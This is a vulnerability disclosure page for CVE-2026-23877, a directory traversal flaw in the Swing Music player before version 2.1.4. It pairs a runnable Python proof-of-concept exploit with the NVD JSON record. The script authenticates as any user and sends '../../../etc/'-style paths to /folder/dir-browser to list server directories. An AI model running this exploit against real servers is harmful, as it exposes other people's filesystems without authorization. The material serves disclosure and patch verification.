CVE-2026-23877

import requests import sys # CVE-2026-23877 PoC - Swing Music Directory Traversal # Target: Swing Music < 2.1.4 # Endpoint: /folder/dir-browser def exploit(target_url, username, password, target_path): """ Exploit directory traversal vulnerability in Swing Music Args: target_url: Base URL of the vulnerable application username: Valid username (any user including non-admin) password: User password target_path: Path to read (e.g., ../../../etc/) """ # Login to get authenticated session login_url = f"{target_url}/auth/login" session = requests.Session() login_data = { "username": username, "password": password } try: # Authenticate login_response = session.post(login_url, json=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Authentication failed") return False print(f"[+] Successfully authenticated as {username}") # Exploit directory traversal dir_browser_url = f"{target_url}/folder/dir-browser" params = { "path": target_path # e.g., ../../../etc/ } exploit_response = session.get(dir_browser_url, params=params, timeout=10) if exploit_response.status_code == 200: print(f"[+] Directory traversal successful!") print(f"[+] Response:") print(exploit_response.text) return True else: print(f"[-] Exploit failed with status code: {exploit_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2026-23877.py <target_url> <username> <password> <target_path>") print("Example: python cve-2026-23877.py http://localhost:8271 admin password '../../../etc/'") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] target_path = sys.argv[4] exploit(target_url, username, password, target_path)

{"cve": {"id": "CVE-2026-23877", "sourceIdentifier": "[email protected]", "published": "2026-01-19T21:15:52.147", "lastModified": "2026-03-13T14:42:23.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue."}, {"lang": "es", "value": "Swing Music es un reproductor de música autoalojado para archivos de audio locales. Antes de la versión 2.1.4, la función `list_folders()` de Swing Music en el endpoint `/folder/dir-browser` es vulnerable a ataques de salto de directorio. Cualquier usuario autenticado (incluidos los no administradores) puede navegar por directorios arbitrarios en el sistema de archivos del servidor. La versión 2.1.4 soluciona el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-25"}, {"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:swingmx:swing_music:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.1.4", "matchCriteriaId": "C6C617A2-90C7-409F-9D71-B31879D6A3BD"}]}]}], "references": [{"url": "https://github.com/swingmx/swingmusic/commit/9a915ca62af1502b9550722df82f5d432cb73de3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/swingmx/swingmusic/security/advisories/GHSA-pj88-9xww-gxmh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}